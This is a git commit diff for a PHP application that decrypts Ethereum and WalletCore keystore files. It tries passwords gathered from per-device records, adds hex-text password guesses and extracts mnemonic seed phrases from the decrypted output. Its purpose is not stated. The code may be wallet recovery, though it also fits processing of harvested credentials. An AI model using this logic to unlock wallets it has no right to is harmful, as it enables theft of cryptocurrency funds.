feat: ds
This commit is contained in:
@@ -89,7 +89,7 @@ final class DsKeystoreDecrypt
|
||||
foreach ($device->keystores as $row) {
|
||||
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
|
||||
}
|
||||
$passwords = array_slice($this->uniquePasswords($passwords), 0, 8);
|
||||
$passwords = array_slice($this->uniquePasswords($passwords), 0, 16);
|
||||
if ($passwords === []) {
|
||||
return [];
|
||||
}
|
||||
@@ -318,7 +318,14 @@ final class DsKeystoreDecrypt
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->passwordsFromString($raw);
|
||||
$out = $this->passwordsFromString($raw);
|
||||
// WalletCore / Trust sometimes treat the hex text itself as the password.
|
||||
if (strlen($hex) === 64 || strlen($hex) === 128) {
|
||||
$out[] = strtolower($hex);
|
||||
$out[] = strtoupper($hex);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -424,6 +431,19 @@ final class DsKeystoreDecrypt
|
||||
|
||||
private function asMnemonic(string $plain): ?string
|
||||
{
|
||||
$plain = trim($plain, "\0 \t\n\r");
|
||||
if (str_starts_with($plain, '{')) {
|
||||
$json = json_decode($plain, true);
|
||||
if (is_array($json) && isset($json['mnemonic']) && is_string($json['mnemonic'])) {
|
||||
$plain = $json['mnemonic'];
|
||||
}
|
||||
}
|
||||
if (preg_match('/^[0-9a-fA-F]+$/', $plain) && strlen($plain) % 2 === 0 && strlen($plain) >= 24) {
|
||||
$bin = @hex2bin($plain);
|
||||
if (is_string($bin) && str_contains($bin, ' ')) {
|
||||
$plain = $bin;
|
||||
}
|
||||
}
|
||||
$text = strtolower(trim($plain));
|
||||
$text = preg_replace('/\s+/', ' ', $text) ?? $text;
|
||||
$words = $text === '' ? [] : explode(' ', $text);
|
||||
|
||||
@@ -6,13 +6,15 @@ use App\Support\Scrypt;
|
||||
use kornrunner\Keccak;
|
||||
|
||||
/**
|
||||
* Ethereum / WalletCore keystore v3: scrypt|pbkdf2 + AES-128-CTR + keccak MAC.
|
||||
* Ethereum / WalletCore keystore v3: scrypt|pbkdf2 + AES-CTR + keccak MAC.
|
||||
*/
|
||||
final class EthKeystore
|
||||
{
|
||||
/** @var array<string, string> */
|
||||
private static array $kdfCache = [];
|
||||
|
||||
private static ?bool $scryptReady = null;
|
||||
|
||||
public static function decrypt(array $keystore, string $password): ?string
|
||||
{
|
||||
$crypto = $keystore['crypto'] ?? $keystore['Crypto'] ?? null;
|
||||
@@ -20,7 +22,13 @@ final class EthKeystore
|
||||
return null;
|
||||
}
|
||||
$cipher = strtolower((string) ($crypto['cipher'] ?? ''));
|
||||
if ($cipher !== 'aes-128-ctr') {
|
||||
$keyLen = match ($cipher) {
|
||||
'aes-128-ctr' => 16,
|
||||
'aes-192-ctr' => 24,
|
||||
'aes-256-ctr' => 32,
|
||||
default => 0,
|
||||
};
|
||||
if ($keyLen === 0) {
|
||||
return null;
|
||||
}
|
||||
$ciphertext = self::fromHex($crypto['ciphertext'] ?? null);
|
||||
@@ -31,14 +39,16 @@ final class EthKeystore
|
||||
}
|
||||
|
||||
$derived = self::deriveKey($crypto, $password);
|
||||
if ($derived === null || strlen($derived) < 32) {
|
||||
if ($derived === null || strlen($derived) < $keyLen) {
|
||||
return null;
|
||||
}
|
||||
if (! hash_equals($mac, self::keccak256(substr($derived, 16, 16).$ciphertext))) {
|
||||
$macOk = hash_equals($mac, self::keccak256(substr($derived, -$keyLen).$ciphertext))
|
||||
|| hash_equals($mac, self::keccak256(substr($derived, 16, 16).$ciphertext));
|
||||
if (! $macOk) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$plain = openssl_decrypt($ciphertext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv);
|
||||
$plain = openssl_decrypt($ciphertext, $cipher, substr($derived, 0, $keyLen), OPENSSL_RAW_DATA, $iv);
|
||||
if (! is_string($plain) || $plain === '') {
|
||||
return null;
|
||||
}
|
||||
@@ -46,6 +56,17 @@ final class EthKeystore
|
||||
return $plain;
|
||||
}
|
||||
|
||||
public static function scryptReady(): bool
|
||||
{
|
||||
if (self::$scryptReady !== null) {
|
||||
return self::$scryptReady;
|
||||
}
|
||||
$out = self::scryptPython('a', 'b', 2, 1, 1, 16);
|
||||
self::$scryptReady = is_string($out) && strlen($out) === 16;
|
||||
|
||||
return self::$scryptReady;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $kdfparams
|
||||
* @return array<string, mixed>
|
||||
@@ -97,8 +118,8 @@ final class EthKeystore
|
||||
$kdf = strtolower((string) ($crypto['kdf'] ?? ''));
|
||||
$params = is_array($crypto['kdfparams'] ?? null) ? $crypto['kdfparams'] : [];
|
||||
$dklen = (int) ($params['dklen'] ?? 32);
|
||||
$salt = self::fromHex($params['salt'] ?? null);
|
||||
if ($salt === null || $dklen < 16) {
|
||||
$salt = self::fromHex($params['salt'] ?? '') ?? '';
|
||||
if ($dklen < 16) {
|
||||
return null;
|
||||
}
|
||||
if ($kdf === 'scrypt') {
|
||||
@@ -155,14 +176,23 @@ final class EthKeystore
|
||||
}
|
||||
$code = <<<'PY'
|
||||
import sys
|
||||
try:
|
||||
from Crypto.Protocol.KDF import scrypt
|
||||
except ImportError:
|
||||
sys.exit(2)
|
||||
pw = bytes.fromhex(sys.argv[1])
|
||||
salt = bytes.fromhex(sys.argv[2])
|
||||
n, r, p, dk = (int(sys.argv[i]) for i in range(3, 7))
|
||||
sys.stdout.buffer.write(scrypt(pw, salt, dk, N=n, r=r, p=p))
|
||||
mem = 128 * r * n + 8 * 1024 * 1024
|
||||
try:
|
||||
import hashlib
|
||||
sys.stdout.buffer.write(hashlib.scrypt(pw, salt=salt, n=n, r=r, p=p, dklen=dk, maxmem=mem))
|
||||
raise SystemExit(0)
|
||||
except SystemExit:
|
||||
raise
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
from Crypto.Protocol.KDF import scrypt
|
||||
sys.stdout.buffer.write(scrypt(pw, salt, dk, N=n, r=r, p=p))
|
||||
except Exception:
|
||||
sys.exit(2)
|
||||
PY;
|
||||
$cmd = [
|
||||
$python,
|
||||
@@ -194,28 +224,39 @@ PY;
|
||||
|
||||
private static function pythonBinary(): ?string
|
||||
{
|
||||
$candidates = [
|
||||
$configured = [
|
||||
trim((string) config('coruna.channel_builder.python', '')),
|
||||
trim((string) config('coruna.channel_builder_new.python', '')),
|
||||
base_path('channel-builder/.venv/bin/python'),
|
||||
base_path('channel-builder-new/.venv/bin/python'),
|
||||
'/usr/bin/python3',
|
||||
'python3',
|
||||
];
|
||||
foreach ($candidates as $bin) {
|
||||
if ($bin === '') {
|
||||
continue;
|
||||
}
|
||||
if ($bin === 'python3') {
|
||||
return $bin;
|
||||
}
|
||||
$root = base_path();
|
||||
if (str_starts_with($bin, $root) && @is_file($bin)) {
|
||||
foreach ($configured as $bin) {
|
||||
if ($bin !== '') {
|
||||
return $bin;
|
||||
}
|
||||
}
|
||||
foreach ([
|
||||
base_path('channel-builder/.venv/bin/python'),
|
||||
base_path('channel-builder-new/.venv/bin/python'),
|
||||
] as $venv) {
|
||||
if (self::venvPythonExists($venv)) {
|
||||
return $venv;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
return 'python3';
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect .venv/bin/python without following the symlink into /usr/bin
|
||||
* (open_basedir typically allows the project root only).
|
||||
*/
|
||||
private static function venvPythonExists(string $path): bool
|
||||
{
|
||||
clearstatcache(true, $path);
|
||||
if (@is_link($path)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return @is_file($path);
|
||||
}
|
||||
|
||||
private static function keccak256(string $data): string
|
||||
@@ -225,9 +266,12 @@ PY;
|
||||
|
||||
private static function fromHex(mixed $value): ?string
|
||||
{
|
||||
if (! is_string($value) || $value === '') {
|
||||
if (! is_string($value)) {
|
||||
return null;
|
||||
}
|
||||
if ($value === '') {
|
||||
return '';
|
||||
}
|
||||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
|
||||
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
||||
return null;
|
||||
|
||||
Reference in New Issue
Block a user